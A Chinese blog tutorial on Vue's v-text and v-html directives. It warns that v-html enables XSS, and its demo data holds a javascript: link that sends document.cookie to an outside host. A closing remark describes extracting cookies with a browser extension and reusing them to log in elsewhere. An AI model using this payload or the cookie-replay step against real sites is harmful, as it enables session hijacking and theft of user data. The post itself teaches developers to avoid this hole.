Vue指令关于---v-html_指令和 v-test_指令详解

65 阅读 0 评论 43 点赞

我是靠谱客的博主勤奋钢铁侠，最近开发中收集的这篇文章主要介绍Vue指令关于---v-html_指令和 v-test_指令详解，觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

要学会大大方方的表达爱意，爱不是冷冰冰，爱是炙热的，永远都是，笨蛋才会说反话，笨蛋才会把喜欢的人越推越远

一.在讲解 v-test_指令和v-html_指令前我么先回顾一些基本指令：

		v-bind  : 单项绑定解析表达式，可简写为 :xxx
        v-model : 双向数据绑定
        v-for   : 遍历数组，对象，字符串
        v-on    : 绑定事件监听，可简写为@
        v-if    : 条件渲染（动态控制节点是否存在）
        v-else  : 条件渲染（动态控制节点是否存在）
        v-show  : 条件渲染（动态控制节点是否展示）

如果大家忘了这些指令就去看看我之前的文章吧！温故而知新。

二.这里是关于v-test_指令

先创建一个容器

<div id="root">
        <h2>{{name}}</h2>
        <h2 v-text="name">你好</h2>
    </div>

Vue代码：

<script>
    new Vue({
        el:'#root',
        data:{
            name:'beijing'
        }        
    })
</script>

然后我们观察运行结果：
在这里插入图片描述

在容器h2标签中我们写入了 “你好”,但是在运行结果中却没有显示，由此我们可以得出结论：

1.v-test_指令会替换掉文本内容
2.v-test_指令可以向所在节点里渲染文本内容

三.这里是v-html_指令

先创建一个容器：

<div id="root">
        <h2>你好{{name}}</h2>
        <div v-html="str">11</div>
        <div v-html='str2'>11</div>
    </div>

Vue代码：

<script>
    new Vue({
        el:'#root',
        data:{
            name:'中华人民共和国',
            str:'<h2>hello China</h2>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击这里有你想要的</a>'
        }
    })
</script>

然后我们观察运行结果：
在这里插入图片描述
1.v-html指令功能
str:<h2>hello China</h2>
其中在这里我们可以向指定节点渲染包含html结构的内容，但是v-test就不能，这就是v-html的特殊功能之一。

2.v-html存在安全问题
那么在这里
str2:<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击这里有你想要的</a>
是一个超链接，如果了解cookie的可以看出，在这里这样使用那么这个服务器地址就会收集我们的cookie，那么如果让坏人拿到我们的cookie就相当于掌握了我们的个人信息。所以我们不能在网站上随意动态渲染HTML，十分危险。

3.同样在预览结果中我们可以观察到在节点中的内容没有显示，所以由此得出v-html也会替代节点内容

四.总结

讲述玩以上内容我们来做一个总结：

（一）v-text指令;
        1.作用：向所在节点里渲染文本内容
        2.与插值语法的区别：v-text会替代换掉文本的内容，{{xx}}则不会
（二）v-html指令:
        1.作用：向指定节点渲染包含html结构的内容
        2.与插值语法的区别：
            （1）v-html 会替代掉节点中所有包含的内容，{{xxx}}则不会
            （2）v-html 会识别HTML结构
        3.严重注意：v-html有安全性问题！
            （1）在网站上动态渲染任意HTML是非常危险的，容易导致xss攻击
            （2）一定要在可信的内容上使用v-hmtl，永远不要用在用户提交的内容！！

在自己电脑上了解cookie时我们可以使用Cookie Editor插件来提取服务器给我们发送的cookie，然后使用获取到cookie在其他浏览器利用我们获取到的cookie登录个人信息。

注: 一定不要将v-html使用在用户提交的内容中